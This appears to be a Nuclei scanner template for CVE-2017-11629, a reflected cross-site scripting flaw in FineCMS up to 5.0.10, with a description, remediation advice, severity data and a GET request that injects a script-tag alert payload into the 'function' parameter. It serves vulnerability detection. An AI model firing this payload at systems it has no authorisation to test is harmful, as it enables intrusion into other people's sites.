id: CVE-2017-11629 info: name: FineCMS <=5.0.10 - Cross-Site Scripting author: ritikchaddha severity: medium description: | FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request. remediation: | Upgrade to the latest version of FineCMS (>=5.0.11) which includes a fix for this vulnerability. reference: - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-11629 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40967 cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: finecms product: finecms tags: cve,cve2017,xss,finecms http: - method: GET path: - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php" matchers-condition: and matchers: - type: word part: body words: - 'p不存在' - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a00463044022007463b54fa9d21362471d38557cf844292781ceae4b81edee96ea138114877d2022047cdabec1a407c446406dbf59df10cb26e994685df5348e63503a874bdca9ccc:922c64590222798bb761d5b6d8e72950